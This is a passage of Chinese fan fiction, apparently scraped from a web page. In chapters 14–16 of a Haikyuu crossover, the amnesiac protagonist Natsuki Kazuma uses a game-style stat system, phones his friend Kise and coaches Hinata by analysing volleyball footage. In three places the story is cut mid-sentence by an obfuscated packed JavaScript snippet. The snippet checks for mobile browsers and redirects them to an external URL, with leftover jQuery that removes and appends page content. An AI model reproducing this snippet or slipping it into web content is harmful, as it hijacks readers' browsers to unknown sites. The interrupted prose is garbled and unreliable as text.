菅原孝支站起身来,语气轻快。他自然地接过了夏树和真的塑料袋,一起扔进了垃圾桶后回到了便利店。 夏树和真接了电话。 …… “喂,凉太?” 电话那头传来一个清亮的声音,隔着听筒都能听出那份雀跃。 “小和真,随机提问!你现在在干什么?” “报告:社团活动刚刚结束!” “很努力嘛,小和真辛苦啦!”黄濑凉太夸张地叹了口气,“诶,真想现在就和小和真见面。” “那现在就来找我吧!” “那么,黄濑凉太,申请变身!请指挥官批准!” “批准!”夏树和真语气严肃,“切记变身和飞行中,不能被其他人发现身份!” “了解!” 两个人就乱七八糟地聊了起来。夏树和真自己都没意识到,他说话的语气,多了几分孩子气的随意。他胡说八道完后,像倒豆子一样把今天发生的事情一件一件地捡起来说给黄濑凉太听。 “今天社团结束后,前辈请吃了肉包。” “诶——肉包!好吃吗?” “好吃。”夏树想了想,补充道,“效果拔群!吃完后就能瞬间复活的程度!” “诶诶诶?那是什么又不是游戏啦,小和真不愧是重度游戏宅,就算是失忆了看来关于游戏的事情还是没有忘记呢。不过好巧!我现在和社团的前辈在一起,汉堡店聚餐中——” 夏树和真哇了一声:“不愧是大城市。” 相比起以前待的东京,宫城县确实可以称得上是乡下,周围基本没有什么汉堡店。 黄濑凉太笑了,想说那干脆一起来神奈川和我一起住吧之类的话,但是话在嘴里转了一圈,最后还是被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533914|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽下去了,他说:“下周周末我有个练习赛……” 电话那头的黄濑凉太坐在海常高校篮球部的聚餐桌上,不知为何,他竟然有些紧张了,心跳得有些快,连他自己都觉得莫名其妙。 又不是第一次和小和真说话,在紧张什么啊黄濑凉太。 他垂下眼看着桌上还没吃完的薯条,头顶的炽光灯反射在桌面上的光,让他一时有些炫目。 尽管大家都在有一搭没一搭聊天,但是能够在在社团聚餐中自然地打电话和“女朋友”黏糊的黄濑凉太,也是异常显眼的。 笠松面无表情地咬了一大口手里的汉堡,瞥了眼刚刚还侃侃而谈现在却莫名卡壳的黄濑凉太。 这个传说中的奇迹世代之一,无论是在场上的锋芒毕露无愧于天才的名号,还是在场下相处中热情好说话的社交面具下的冷淡,都可以说是和阳光帅气的外貌相反的性格。 但和现在这个比起来—— 笠松吃着汉堡,心想:恋爱这种东西,即使是黄濑也无法抵抗吗? 他又咬了一口。 …… “练习赛?” 虽然是练习赛,但大概率是个幌子。 夏树和真以己度人想,自己的幼驯染一定是想自己了,毕竟他们从来没有分开那么久过。 而且自家幼驯染打篮球的样子也跟着那场车祸被一起撞没了,因为错过了幼驯染的人生高光,嘴上不说,还是有些心虚的夏树和真问道:“练习赛在几点?” “早上八点……诶!小和真要来吗?!” 黄濑凉太这张本身就帅得天怒人怨的脸上更亮眼了。 “嗯,赢了凉太就请我吃饭!我要吃烤肉!” “哈哈已经以我会赢的前提说了呢。” “凉太,难道会输吗?” “当然……不会。” “那不就行了。”夏树和真笑得自信,就好像是无条件笃定一般。 …… 便利店的玻璃门外,夏树和真终于挂了电话。 他把手机揣回口袋里,抬头看了一眼夜空。宫城县的夜空很亮,之前在住院的时候他就这么觉得了,就好像只要伸出手,就可以将空中闪闪发亮的星星抓在手中。 他站起身来,拍了拍裤子上的灰,转身推开便利店的玻璃门走了进去。 门一开,里面的空气似乎停顿了一下。 田中龙之介立刻别过脸去假装翻看手上吃完只剩包装的袋子,日向翔阳正蹲在货架最底层假装挑选什么,但是看上去有些莫名的慌乱。 菅原孝支靠在收银台旁边,笑着看他。 夏树和真眨了眨眼,不明所以:“……你们在干什么?” 没有人回答。 月岛萤隔着眼镜看了夏树一眼,然后推了推眼镜,嗤了一声。 “恋爱脑。” 他转身大步走出了便利店,山口忠“诶”了一声,看了眼离去的月岛又看了看众人,最后还是歉意地笑了笑后追了出去。 便利店里剩下的几个人面面相觑。 “诶诶,夏树同学是谈恋爱了吗?” “所以刚刚是和女朋友打电话?啊啊啊,好羡慕,我也好想谈恋爱!但是我已经有了喜欢的人了……!” “田中,好吵!” “我也想要青春一把!运动,恋爱,这不是青春的标配吗?” “……在说什么?” 菅原孝支一直没有说话,像是拼命忍住笑意一样,微微侧过身,尽管很克制了,但仍然能从肩膀的颤抖程度看出他的不平静。 夏树和真站在货架旁边,歪了歪脑袋。 “……谁是恋爱脑?” 15.第十五章 这几天夏树和真沉浸在刷数值中。 尤其是体力上。 一方面是住院后的身体需要康复,另一方面他的金手指很大程度上和精力值挂钩,这一点倒是设计的挺现实的,毕竟体力流失后,许多稳定的数值也会跟着变化。 夏树和真毫不犹豫地开启了训练大计。 目标:全国称霸。 当务之急就是训练体力。 自从他上次偶然去到了那个神社之后,他就像是灵光一现一样,趁着跑步的间隙把周边大大小小的神社都进行了一个小小的“考察”。最后把早训的地点定在了一个离家不远的一个小型神社,沿着神社往里走有一个很适合训练的地方,关键是没什么人。 早上五点,渐渐养好的身体似乎让他回到了原本的生物钟,在最开始几天的赖床之外,就算是晚上再能熬夜,第二天也能准时在五点之前睁开眼。夏树和真这时就算是想要睡回笼觉,也根本无法睡着。而下一次睡意袭来大概率是午休的时候,不过因为这中间的时间实在太过难熬,熬夜后精神萎靡的夏树和真此后也基本准点睡。 当然,新游戏的发售日另说。 他穿上运动服,推开门,外面的空气还带着夜色的凉意。宫城县的清晨安静得像是另一个世界,只有偶尔路过的早起的社畜和远处不知谁家的狗叫声。 夏树和真开始跑步。 他的早训路线是固定的。先沿着主干道跑出居民区,然后拐进一条上坡的小路,一直跑到之前发现的那个神社。神社建在半山腰上,石阶一级一级地往上延伸,跑到最上面的时候,他的腿已经开始发酸,呼吸也变得沉重起来。 但这只是热身。 他绕过神社的主殿,沿着一条不起眼的小径往里走,会发现一片开阔的空地。这里基本被树木围着,但地面平整,没什么杂草灌木,同样的也没什么人会经过,是个训练的绝佳场所。 夏树和真站在空地,深呼吸了几次,看着眼前的系统界面。 【精力值:42/100】 【训练建议:接球练习×50组】 他弯腰从背包里掏出排球,开始练球。 界面上显示着他的技术后面跟着的熟练度,如:接球、传球、扣球、发球,每一项都有一个进度条,每一阶段熟练度加满,就会提升一个档次。 接球的熟练度一共五档。他现在处在第二档的中间位置,进度条刚好过半。 系统在旁边备注了一行小字。 【第三层次:自动重心调整】 【效果:在低精力条降低至50%后自动开启,接球成功率大幅度提高,精力流失减少30%】 总而言之,这些排球普遍的能力和身体基础数值挂钩,熟练值则更多的是技术上的突破,和技能获取。 但夏树和真现在最在意的不是这些技能。 而是最初始的绑定技能:【预判】 当他在场上面对对手时,任何人在他眼中都会变成一道道清晰的数据。对手的每一个细微动作,如肩膀的倾斜角度、手腕的转动方向、重心偏移的幅度,都会在他眼前转化为具体的数字和概率。 拿拦网来说,对手会有几个球路的预判选项,基础地往左往右,斜线球直球,还是小吊球,全都会化为他眼前的抛物线弧度,并且线条上面浮现着漂浮着的、不断变化的数据。 【左路:?%】【右路:?%】【直线:?%】【吊球:?%】 数据在滚动,像是心跳。 不过至于能不能真正拦到,则要考虑夏树的身体素质。他能提前预测球路,但是身体能不能跟上那个判断,就是另一回事了。 但发球不同。 发球也是最初就已经解锁的技能。 【跳发(2)】已解锁。 【飘球(3)】已解锁。 同样都是五个阶段。 除开第一天那个转盘之后,系统确实是如它最开始说的那样,再无其他直接获取的渠道。 想要就自己去拿。 对于玩家来说,对于夏树和真来说,是一个再简单不过的道理。 …… 练习永远都是不断重复的,不厌其烦的。 但是神奇的是,自从失忆后对什么事都显得轻飘飘的夏树和真,竟然真的每天按照系统推荐的练习界面练习。 夏树和真感到很安心,意外地很平静。 他觉得自己喜欢球被击中时,掌心手臂传来的那种沉甸甸的感觉。 早练完后夏树和真一般会回家冲个澡然后去学校,本来他是完全不打算去学校的,事实上要是可以,他恐怕会一整天都沉浸在刷数值的世界中。不过当他有这种想法,眼前的界面就刚好弹出了提示。 【提醒:学习可以增加获取技能和熟练值的效率。】 【当前加成:5%】 【建议:保持出勤率。】 于是夏树和真勉为其难地去上课了。 虽然并不意外自己对课本上的知识一窍不通,导致真的要学进去时异常吃力,但好在他只要和个挂机的NPC一样待在教室就可以自动增加智力,智力的获取也由简单到困难的逐级叠加。 也不知道是不是系统的加持,随着数值的增加,夏树和真发现自己的脑光竟然真的变得灵光不少,从最开始一头雾水的知识,到现在简单的知识点也基本一遍就能理解。 不过因为今天是约定的周末,他返回家的路上,仍旧不忘跑步增加体力,并且见缝插针地插上耳机,里面是英语的听力。夏树和真原本是捧着书的,但是因为太麻烦而且还因为要手眼协调之后,就换成了现在这个方式。 夏树和真向和他擦肩而过的影山飞雄点了点头。 影山也在慢跑,额头上还附着薄薄的汗。他看见夏树,也微微颔首,目光在他耳朵上的耳机线上停了一瞬。 夏树和真自从在路上被影山目睹了边跑步边看书,差点撞击电线杆的操作后,隔天在学校走廊碰面的时候,影山从口袋里摸出了一副新的耳机,丢下了一句:跑步的时候不要分神后就离开了。再连续两次被送装备加属性后,夏树和真养成了见到人就不由自主嘴角勾起的良好品质。 什么?你说这是我的好伙伴? 不,这明明就是我那素未谋面的随身空间里的老爷爷! 更何况影山同学是一个好孩子,就算是每天这样的小小的交集也会实诚地加一点默契值,每天在学校刷个脸,顺便见见自己的两个小伙伴,然后听着耳边系统的提示音,夏树和真不由感概小伙伴们的品性之纯良。 果然还是青春啊! 夏树和真小小年纪发出了一把年纪的感想。 回到家时,夏树和真的耳机里刚好听完一个章节。 他把耳机摘下,推开家门。玄关处空荡荡的,家里只剩下他一个人,母亲已经回到了东京。 他没有急着进屋,而是站在走廊里,先看了一眼系统界面。 然后他愣住了。 【通知】 智商达标(6.01/6),伙伴一号默契值达标(28/25)。 解锁新技能:【伙伴养成】 【备注:此技能人选关联伙伴协同】 【日向翔阳】 夏树再次点开了日向的数值面板。 和之前看到的简易面板不同,现在在夏树和真面前展开的是密密麻麻的各种数据:弹跳力、速度、力量、体力、技术……每一项都有具体的数值和进度条,以及在每个数据下批注的详细的令人咋舌的提升建议。 这个和一个对你了如指掌,专业度拉满的职业教练,为你量身打造的动态训练清单有什么区别,甚至更加精细,对每一个变化都以一种极为直观的数据呈现在你的眼前,甚至是你本人都没有察觉的细小的点。 他跃跃欲试地想要尝试这个新技能,手指在屏幕上戳来戳去,研究着上面建议。系统在此时弹出一个提示框。 【备注:小伙伴的成长也会为玩家带来意想不到的收获哦,请尽情探索!和小伙伴们一起愉快的玩耍吧!】 夏树和真眨了眨眼睛,他有了想法。 …… 夏树和真除开排球,新晋的第一大爱好就是时尚,桌前的书架上都是他买的时尚杂志。一开始是因为去便利店买作为晚餐的半价便当,偶然看见了凉太封面的杂志,作为幼驯染自然有必要狠狠支持,于是和凉太有关的杂志狠狠购入,也由此开启了时尚之门。 他的存款还算充裕,母亲和另一笔不知名的汇款会准时每个月的一号汇入,再加上他本身的物欲不高,除去吃饭,就没有什么爱好。当然这一点本人并不认为,夏树和真自我感觉良好,每一天都在度过着非常充实的青春洋溢的校园生活。 在家里休息的时间,夏树和真原本的活动就是周末晚上去便利店买夜宵,然后随机找个搞笑的电视频道,窝在松软的沙发上哈哈大笑。 但现在不同了。 每个周末,夏树和真固定去购物。买衣服,买配饰,买帽子,买鞋子。 自我研发了一个夏树流酷帅潮男风格,身上挂着的配饰叮当响,项链、手链、戒指,一样不少。再配上那张不限风格的神颜,就算是走在人挤人的商店街上,也将背景衬托的像是某个高级时尚杂志的红毯。 就比如说现在,在洗完澡后换下运动服后,他站在镜子面前。 夏树和真今天穿了一件黑色的背心,领口微微敞开,露出一截银色的锁骨链。下身是深灰色的工装裤,裤脚收进马丁靴里,裤子的腰带还有大大小小的银链,左手无名指上套了一个简约的戒指。 最后戴上一顶黑色棒球帽,帽檐微微压低。 夏树和真望着镜中帅到不可思议的家伙满意得不得了,他还是非常喜欢自己这张脸的。 …… 站在玄关门口,夏树和真精准地翻到了武田老师的手机号。 电话响了两声就接了,那边传来武田一铁略带困惑的声音:“是夏树同学吗?找老师有什么事情吗?” “武田老师,我想问一下日向同学的家庭地址。” 武田一铁那边顿了一下,然后再次询问道:“日向同学的地址?” “嗯,我现在想找他玩!” 那,周一回到学校……不行吗? 武田一铁虽然这样想,但是想到这两人平常在社团时关系特别好,也没有多问,而是说道:“稍等一下,老师去找找。” 电话里传来一阵悉悉索索的声响。夏树和真耐心等待后,不多时就听见武田老师的声音。 “日向同学的家位置有点偏,老师把具体地址 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537656|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发到你手机上吧。” “好的,谢谢武田老师!” “不用客气。” 夏树和真挂掉电话后,根据武田老师发来的地址,用手机导航一看,位置确实有些偏。比起不断换乘地铁还需要一段时间的步行,还是骑行更方便。 于是潮男夏树和真,踩着一辆好心邻居借来的脚踏车,翻山越岭地往日向家赶。 路况比他想象的要差。出了市区之后,大路变成了小路,小路变成了碎石子路。他骑得磕磕绊绊的,车轮在碎石上打滑了好几次。 然后—— 幸运E成功发作 “哗啦。” 就在离目的地不远时,夏树和真连人带车栽进了一条路边的浅水沟里。 “呜哇哇,大哥哥你没事吧?” 水不深,只刚刚没过小腿,夏树和真一只手抓住掉下来的帽子,一边抬起被水打湿的脑袋,只见一个橙色头发扎着一个小辫子的女孩站在岸边上,担心地望着他。 熟悉颜色的脑袋。 还有相似的眉眼。 再加上离目的地不远的位置。 “唔。” 夏树和真靠着游戏定律,一秒判断出眼前人的身份。 “你认识翔阳吗?”夏树和真问道。 “诶诶诶?为什么哥哥的名字会突然出现?大哥哥你认识我的哥哥吗?”女孩子一脸诧异。 “嗯。”夏树和真笑着,“真是巧合呢,能告诉我你的名字吗?” "日向夏,大哥哥叫我小夏就好了!"日向夏元气地双手叉腰,露出了一个大大的笑容。 “小夏……嗯,”夏树和真把湿漉漉的刘海拨到后面,他说:“我的幼驯染有时候也会这样叫我。我的名字是夏树和真,请多指教,小夏。” “真的好巧!”日向夏像是想到了什么,眼睛亮晶晶的,“我可以叫你小夏哥哥吗?” “哈哈,看来现在有两个小夏了。” “小夏哥哥是来找翔阳哥哥的吗?他就在家里走廊那边,我来带路吧!”日向夏积极地举起手,指了个方向。 “不用了。”夏树和真从水里站起来,一边扶起掉落在一旁的脚踏车,视线扫过日向夏身上挂着的昆虫箱以及身后的捕虫网,笑道:“小夏有自己的事情要干吧?我的话没关系的,刚刚小夏也已经给我指了方向。我会顺利抵达的。” “……好的,我知道了!那小夏哥哥朝着那个方向直走就能看见了,我先走啦!” 和元气的女孩道别,夏树和真顺着方向径直找到了日向翔阳的家,正好日向的妈妈正打开门似乎要外出。他打了个招呼,终于看见了躺在回廊上的日向翔阳。 …… 日向翔阳正罕见地发着呆,躺在走廊的木地板上,一只手枕在脑后,眼睛看着外面的天空。他穿着一件简单的T恤和一条短裤,脚边的拖鞋东倒西歪地躺着。 他想起了一些事情。 一些关于国中的回忆。一个人,没有队友,没有教练,甚至没有一个像样的球场。他在没有人指导的情况下自己练球,把球抛向天空,然后砸在自己的手臂上,然后捡球抛球,如此循环往复。 那时候的他似乎什么都不知道,他的眼里只有排球。 似乎这就足够了。 跳。 跳得更高,然后扣球。 然后他来到了乌野。 见到了影山的精准托球,见到了月岛冷静的拦网,见到了前辈们扎实的基础。每一个人都比他强,每一个人都比他更有经验。于是他知道了,知道自己除了跳跃以外一无所有。 但他想变强。 他看着夏树和真,注视着他。 强大的,压倒性的实力。 那是日向向往的样子 和以前只能在屏幕中看见的小巨人不同,更加现实,更加贴近。是比幻想更近的距离。 他又想起了那天不小心听到的前辈和老师的对话。 出了车祸,体力不好,休学一年。 他又回想起了比赛后半,那人无意识的变得杂乱的呼吸声。 但是,那双眼睛却从来没有变过。 一双执着的,沉重的,尖锐的,是猎手捕捉猎物时的眼神。 日向想要变强的渴望比任何时候都要更加强烈起来。 晃眼的太阳,日向举起手臂,手掌展开,然后似乎是要将太阳抓在手心里一般收紧。 然后夏树和真就出现在了眼前。 湿漉漉的。 像是夏日潮湿闷热的雨。 半边被阳光照到的地方突兀地感受到了被灼烧的感觉。 “翔阳,来打排球吧。” 夏树和真发梢上的一滴水直直地砸在了日向翔阳的眼睑上,他下意识地眨了眨眼睛,感受到那滴水从眼角滑落。 他愣愣地看着夏树和真。 那双冰蓝色的眼睛像是被雨水洗过了一样,干净、澄澈,带着一点朦胧的水汽。 那滴水珠滚落到发丝中,留下了一道不明显的水痕,同时又是那样的浅淡,就好像是下一秒就要蒸发得无影无踪,但是日向翔阳却觉得那股细微的,却是不容忽视的灼烧感深深烙印在了他的眼球之中。 于是在过载的心跳声传入耳朵前,日向翔阳先是察觉到了疼痛。 16.第十六章 夏树和真坐在日向家走廊的木地板上,膝盖上摊着一张从笔记本上撕下来的纸,手里捏着一支铅笔。日向翔阳盘腿坐在他对面,两只手撑在膝盖上,身体前倾,眼睛盯着那张空白的纸,神情很是认真。 “先说说你觉得自己的强项。”夏树和真在纸的最上方刷刷写下“日向翔阳”几个大字,笔走龙蛇,非常潇洒。 “跳!”日向翔阳大声回答道。 夏树和真没有抬头,在纸上写下“弹跳力”,然后在后面画了一个向上的箭头,标注了“S”。他的笔尖在纸面上停顿了一下,又补充了一行:“爆发力”。 “哪里觉得最弱?” “……全部。”日向翔阳的声音低了下去,“接球、拦网、发球、技术……全部都很弱。” “但翔阳有别人没有的东西。你的武器是高度和速度的结合,所以现在我们要做的不是补齐所有短板再出发,而是把你的长板发挥到极致,同时让短板不至于成为致命的漏洞。” 日向听得很认真,下巴搁在交叠的手臂上,整个人像一只专注的小动物。 夏树翻过纸的背面,打开系统界面,结合日向翔阳对于自身的理解开始列清单。他写得很快,笔尖在纸面上发出沙沙的声响,一行一行的训练内容整齐地出现在纸上。 他把每一项训练从低到高分成了三个档位,还在一旁画了一个类似游戏风的进度条。 “果然还是要有摄像机会好一点……”夏树的笔尖在纸上点了点,抬起头看着日向。 “摄像机?”日向翔阳重复道。 “就是把翔阳打球的样子录下来。”夏树和真一手托着下巴,像是边想着什么一样边说道:“自己看自己的动作,和从外面看别人的动作,是完全不同的两件事。很多问题在打的时候感觉不到,但看录像的时候会很明显。唔……比如说,肩膀歪了,助跑的节奏乱了,起跳的时机早了还是晚了,手臂挥下来的角度有没有变化,这个细微的变化是什么导致的,而对于击球有没有产生其他影响之类的。有时候觉得自己已经跳到自己能跳到的最高点啦,但是信心满满地拿起录像一看就会看见还没有那么完美的地方,那么知道问题所在后,我们只要往一个地方前进抵达终点就好!” 日向的眼睛亮了起来。 “而且,”夏树和真继续说,“看录像带也是一个很好的练习方式!尤其是没有场地的时候,或者体力耗尽的时候。这时候再强迫自己训练就会适得其反,那么我们就学习复盘!复盘自己的每一个动作,也可以在比赛前研究对手的习惯线路,从录像带中找到他们潜藏的弱点,然后,一举击溃他们!” 日向翔阳用力地点了点头。他不太懂这些理论上的东西,但他相信和真说的话。在这之前从来没有一个人像现在这样蹲在他面前,一点一点,认认真真地告诉他该往哪里走,他的方向是什么,又该往哪里使劲。 排球是一项只要球还没有落地比赛就不会结束的运动。 日向翔阳想要成为在场上停留的最久的人。 只要他一直不放弃,拼尽全力将每一个球都好好接起,一定…… 没有人能告诉他答案。 “对了。”夏树和真的笔在指尖转了一圈,他说:“翔阳现在对排球的了解有多少?像是比赛规则、战术、站位、轮次这些。” 日向翔阳闻言,脑袋缓缓地从左边歪道了右边,似乎认真思考着。 他张了张嘴,又闭上了。脸上的表情从“我好像知道一些”慢慢变成了“我好像什么都不知道”,最后定格在一种微妙的心虚。 “我知道基、基本的比赛流程……”日向翔阳说。 夏树和真等了三秒钟,确认他没有下文了。 “还有吗?” “拦网的时候手不能过网?”日向翔阳的语气变得不确定起来,“扣球的时候可以触网?不、不能触网吧?等一下——” 夏树和真看着他,突然笑了起来,笑得前仰后倒,他用手擦了擦眼角冒出来的眼泪,片刻道:“哈哈哈,我们差不多呢,翔阳!不愧是我的好伙伴!” “果然恶补落下的进度真是一件困难的事情,果然还是要从感兴趣的出发才行。”他肯定地点了点头,说:“在这之前,我只知道网球是一项只要脸好看就打得很好的运动。” 等、等……!总感觉和真好像说得不是一件事情,奇怪……网球是这样的吗?当时去看幸治的比赛的时候,大家长得好像确实……网球是靠外表就可以判断实力的运动的吗?但是和真这样说一定有他的道理,啊……不行了我搞不明白了。 日向翔阳大脑开始变得混乱。 夏树和真站起来,拍了拍裤子上的灰,朝日向伸出一只手。 “总而言之,先来看电视吧。” 日向抓住他的手,被一把拽了起来。他踉跄了一步才站稳,然后两个人一前一后地跑回了屋里。日向翔阳的家是典型的日式一户建,走廊的木地板踩上去会发出轻微的吱呀声,或许是因为家里山里,周围是被大自然环抱着,总感觉就算是下一秒庭院里出现野猪也不稀奇的原生态环境。 日向翔阳跑在前面带路,推开客厅的拉门,电视正对着沙发和矮桌。他拿起遥控器,按了电源键,屏幕亮了起来。 夏树跟进来,在电视前面的榻榻米上坐下来,把笔和那张写满字的纸放在桌上。 “排球比赛的转播一般在体育频道,有些时候会重播高中联赛的录像。不一定能找到,但至少可以看一些职业比赛的片段。”他一边说,一边接过日向翔阳遥控器,开始熟练翻找频道。 电视机里传来沙沙的杂音,画面从一个综艺节目跳到一个新闻节目,又从新闻节目跳到一个电视剧的预告片。夏树和真不紧不慢地按着,日向翔阳的眼睛也屏幕上的画面转动。 最后屏幕定格在了一个仰拍的体育馆画面上。 “找到了!”夏树和真把遥控器放在矮桌上,音量调大了一些。 这似乎是一场排球比赛的回放,两队球员正在做赛前的最后一次热身。夏树盯着屏幕看了几秒,忽然转过头:“翔阳有买过和排球有关的书吗?” 日向翔阳有些垂头丧气。 一个人在想到某件自己买了却从未使用过的东西时的表情,大概就是这种表情。 “……有是有。”日向的声音变小了,“但是在国中的时候买的。” “老师,我想看!”夏树和真举起了手。 “好、好的!” 日向翔阳站起来,跑进自己的房间。夏树和真听到里面传来翻箱倒柜的声音,纸箱被拖动的声音,夹杂着某些自言自语。过了好一会儿,日向翔阳抱着两本书回来了,两本书上落了灰,他用力吹了一下,灰尘扬起了一片,呛得他连打了两个喷嚏。 他把书递给夏树。 两本书,一本是《连小白都能学会的排球基础知识》,另一本是《排球技术图解:教你从从入门到实战,秒变大神!》,两本的封底都贴着同样的打折标签,疑似捆绑销售的产物。 两本书内页看起来是翻动过的,有些页面上还有一些划线和笔记,但也只是前面几页左右,后面的相当于崭新的样子。 日向不好意思地挠了挠后脑勺,说道:“本来想着要看的,但是发现里面的词看不懂,虽然有拼命弄懂但是越看越混乱,然后就睡着了。”最后就再也没有翻开过了。 后面的话,日向没有说出来。 夏树和真翻开,扫了一眼目录。 然后他把两本书并排放在矮桌上,用笔在第一本的扉页上写了一个数字“1”,在第二本的扉页上写了一个“2”。 “靠过来一点,翔阳。”夏树和真朝日向翔阳找了招手。 日向凑过来,一脸认真地点头。 夏树和真翻开第一本的目录,把章节标题一个一个地念出来:“比赛规则、球队组成、场上位置、轮转顺序、排球核心技术……这些单看有些难以理解,那我们结合实战来看。” 他的目光转向电视,画面上的比赛已经开始了。两支队伍在网前展开了第一个回合的攻防,球在空中划出一道道弧线,球员在场上奔跑、起跳、接球。 “看这个。”夏树指着屏幕。 日向翔阳看着顺着他指着方向看去。 “这个二传的跑位,”夏树用笔头充当指示物,点了点屏幕上那个穿黑色运动服的球员,“他是在掩护主攻手,起跳的时间比主攻手早了几秒,所以对面的拦网会以为球要传给他。然后,看。这里,主攻手那边空了。” 屏幕上,主攻手在几乎没有拦网的情况下将球扣下,球重重地砸在对方场地中央,最后落地的排球高高弹起,直接飞到了观众席上。 “这就是一种的战术。”夏树和真说,“翔阳刚刚其实察觉到主攻手的动作吧,如果是翔阳的话,光凭直觉大概就能找到场上的空缺,这是很厉害的。但是光凭直觉是有限度的,因为翔阳还没有把这份直觉掌握在手中,真正成为自己的武器。所以,这时候,我们要做的就是一个字——看。” 日向的眼睛睁大,瞳孔里映着电视屏幕上的画面。他的表情从最初的茫然变成了思考,嘴唇微微抿着,像是要把夏树说的每一个字都理解、消化,最后一并吞咽进身体里,成为他的养料。 夏树和真的声音不紧不慢地继续道:“去看比自己厉害的人,看他的动作,看他的比赛,看他在场上的表现,看他如何思考又是如何解决危机,学习他的思考方式,解决问题的方法,然后选取自己想要的,让它成为自己的所有物——理论的东西不用一开始就对自己要求太高,在内心形成一个模糊的框架后从实战中去理解。” 日向翔阳久久无言。 他盯着屏幕,电视机上的画面还在进行,但原本狭窄的视角像是一口气被扩宽了许多,以前忽视的许多东西,似乎也一点一点出现在了他的面前,只等待他去发现去思考,然后实践。 他是不常看排球比赛的,比起看他更想要自己亲身站在比赛场上。即便是偶尔的观看,更多看的也是主攻手,他认为的场上最厉害最闪闪发光的王牌!每每看到王牌顺利扣球成功,脑子里也只能浮现出诸如“好厉害”“跳得好高”之类的感想,然后就没有然后了。那些跑动的人在他眼里就像是一团模糊的、快速移动的影子,有时候他能灵光一现地察觉到什么,但这些细微的东西转瞬即逝,他甚至都没有形成一个清晰的结论。 日向翔阳觉得自己似乎正在逐渐抓住什么,这次是更加触手可及的,能够实实在在抓在掌心里的什么。 夏树和真没有停止讲解。他打开了自己的技能【预测】,毕竟即便是夏树和真光靠短时间的恶补,还是有许多没有掌握的地方以及缺少的经验。对照着眼前浮现出的数据,夏树和真结合自己的理解把屏幕上的每一个战术拆成碎片,再一块一块地拼起来给日向看。他的语速不快不慢,偶尔会停下来等一下日向的反应,确定他消化了再继续。 这是夏树和真作为一名玩家,找寻的如何高效率刷数值的办法。 在体力耗尽的时候,获取需要运动的大部分属性的效率会降低,这时候最好的选择就是理论学习。而且看自己领域相关的东西时,比如排球,则会智商和技术双增加。这一点夏树和真自然不会放过。 如果把人生当做游戏,那么一定会轻松很多。 起码对于夏树和真是这样的。他很喜欢这种结果可视化的状态,这会让他觉得有成就感和收集欲。今天看了多少页书,看了多少个录像,分析了多少个比赛,这些东西都会变成数字、进度条,清清楚楚地摆在他面前。 模糊的“我应该进步了”和确定的“我今天进步了多少”,是完全不同的两件事。 夏树和真在喜欢的事情上脑子还是转得很快的。 这一点,日向翔阳也是同理。 起初,虽然一时兴起买了那些理论书,但是上面密密麻麻挤在一起的文字即便配着图解,也让日向一个头两个大。但是在夏树和真的带领下,这些枯燥的文字也变成了闪闪发光的事物。 每一个镜头,每一帧的动作,每一个表情,每一个眼神,都是组成比赛的重要部分。 原来排球是这样的。 认识似乎更加深刻了,也让日向翔阳意识到了还有许多许多是他需要去学习的,去体会的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541892|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的日向翔阳就是一块海绵。只要是他能吸收的,他就会迅速汲取。以前总是拼尽全力但却往往徒劳无功,努力了但是似乎并没有什么成效,一切都是自己在黑暗里摸着石头过河的感觉。他只知道他还有许多许多要去学习。 接球。 拦网。 战术。 击球。 发球。 他想起了国三最后的那场比赛。 想起了刺耳的哨声,想到了比预想中还要早到来的结束,以及隔着球网被影山质问的那句话。 “你这三年到底都干了什么?” 他自从那天之后,脑袋里常常会回荡这句话。 自己到底做了什么呢? 国中三年,似乎单单只是能打排球就已经竭尽全力了。回想起来,一直是一个人的身影倒映在那惨白的墙壁上。 他不是一个灵巧的孩子,做事大多数都是凭借着自己的一腔热血和喜爱。但如果单论这个,日向翔阳有不会输给任何人的自信。 而这份喜爱,也恰恰会让他走得更远。 夏树和真掰碎了给日向翔阳讲的同时,脑子里也在不断思考消化。他按照着这个比赛的进程,从轮次转换讲到防守,从防守讲到进攻方式,从进攻方式讲到选手的思考,就像是他在家里那个一个人住就大到有些空荡荡的房间中一遍一遍翻看的录像带一样。这是自己小学时候从漫画里学到的方法。 看着漫画的主人公在教练的指导下,耐下性子一遍一遍观看自己的录像带,分析自己的动作姿势,找到投不进球的原因,最后当主人公顺利将球投进去的时候,夏树和真觉得这简直帅呆了。能认真投入做一件事,一定是一件无与伦比的幸福。 当时在夏树和真内心里被刻下了这样一个信念。 于是在小学最开始选择排球的时候,夏树和真就采用了这个方法,就像是怀揣着一个只有自己的宝藏一样,他不厌其烦。 时间或许没有他想象中的那样快,也或许是因为失忆。 过往的经历像是昨日发生的一般。 